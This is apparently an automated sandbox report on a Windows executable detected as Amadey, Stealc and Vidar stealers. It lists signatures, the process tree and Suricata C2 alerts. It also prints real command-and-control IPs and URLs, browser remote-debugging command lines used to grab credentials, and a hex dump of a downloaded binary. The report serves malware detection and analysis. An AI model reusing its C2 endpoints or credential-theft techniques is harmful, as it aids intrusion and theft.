Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1564362
MD5:	938a90b22f4bfe7c0053d9c5de5826ed
SHA1:	fca71a7e478e4aae22f2ec8b6316df5f3a528e93
SHA256:	b4c589833c910a24e87cdf8d43775f432b0b9038ba4319dc5b5518bf6dc65457
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 740 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 938A90B22F4BFE7C0053D9C5DE5826ED)

chrome.exe (PID: 3396 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4820 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1156 --field-trial-handle=2140,i,8934189931533326089,15715926864722454120,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 8172 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6756 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2552 --field-trial-handle=2224,i,16004899387267317099,10663953471025910774,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 8848 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHCGCBFHCFC.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8868 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsHCGCBFHCFC.exe (PID: 8780 cmdline: "C:\Users\user\DocumentsHCGCBFHCFC.exe" MD5: AEF046ED5D6161FA855337B295DFD92F)

skotes.exe (PID: 9204 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: AEF046ED5D6161FA855337B295DFD92F)

msedge.exe (PID: 7956 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6736 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=1984,i,4870464446911579892,18189097000495124311,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8364 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6436 --field-trial-handle=1984,i,4870464446911579892,18189097000495124311,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8380 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6596 --field-trial-handle=1984,i,4870464446911579892,18189097000495124311,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 428 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6636 --field-trial-handle=1984,i,4870464446911579892,18189097000495124311,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 3120 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: AEF046ED5D6161FA855337B295DFD92F)

b2638941c0.exe (PID: 2940 cmdline: "C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe" MD5: B96337EC2F2A9546C812553077E48C40)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000019.00000003.2050546141.0000000005570000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000003.2518706284.00000000055D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1977949025.00000000005A1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1461137047.0000000004D10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000002.2061051767.00000000006B1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000019.00000002.2090930083.0000000000DE1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000003.1973617636.0000000004930000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1979495754.000000000133E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000002.2695269868.0000000000DE1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 740	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 740	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 740	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 740	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author
25.2.skotes.exe.de0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
28.2.skotes.exe.de0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.DocumentsHCGCBFHCFC.exe.6b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 740, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 3396, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T08:55:22.015362+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.8	49705	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T08:55:21.893920+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.8	49705	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T08:55:22.362421+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.8	49705	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T08:55:23.849541+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.8	49705	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T08:55:22.485166+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.8	49705	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T08:55:21.426117+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49705	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T08:57:06.658780+0100	2856147	1	A Network Trojan was detected	192.168.2.8	49920	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T08:55:11.121289+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.8	49926	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T08:57:11.170604+0100	2803305	3	Unknown Traffic	192.168.2.8	49930	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T08:55:24.314994+0100	2803304	3	Unknown Traffic	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-28T08:55:47.016176+0100	2803304	3	Unknown Traffic	192.168.2.8	49748	185.215.113.206	80	TCP
2024-11-28T08:55:49.054246+0100	2803304	3	Unknown Traffic	192.168.2.8	49748	185.215.113.206	80	TCP
2024-11-28T08:55:50.517070+0100	2803304	3	Unknown Traffic	192.168.2.8	49748	185.215.113.206	80	TCP
2024-11-28T08:55:51.700364+0100	2803304	3	Unknown Traffic	192.168.2.8	49748	185.215.113.206	80	TCP
2024-11-28T08:55:55.527590+0100	2803304	3	Unknown Traffic	192.168.2.8	49748	185.215.113.206	80	TCP
2024-11-28T08:55:56.643916+0100	2803304	3	Unknown Traffic	192.168.2.8	49748	185.215.113.206	80	TCP
2024-11-28T08:56:02.612656+0100	2803304	3	Unknown Traffic	192.168.2.8	49839	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.phpHCFC.exe-data;	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dllJ	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll)	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dlll	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllt	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpio	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/unique1/random.exe	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dll0	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000019.00000003.2050546141.0000000005570000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.740.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe	ReversingLabs: Detection: 34%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA46C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6CA46C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.8:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.32.185.164:443 -> 192.168.2.8:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.32.185.164:443 -> 192.168.2.8:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.181.4:443 -> 192.168.2.8:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.8:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:49852 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2012648622.000000006CC6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2012648622.000000006CC6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 9MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.8:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.8:49705
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.8:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.8:49705
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.8:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.8:49920 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.8:49926

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 07:55:24 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
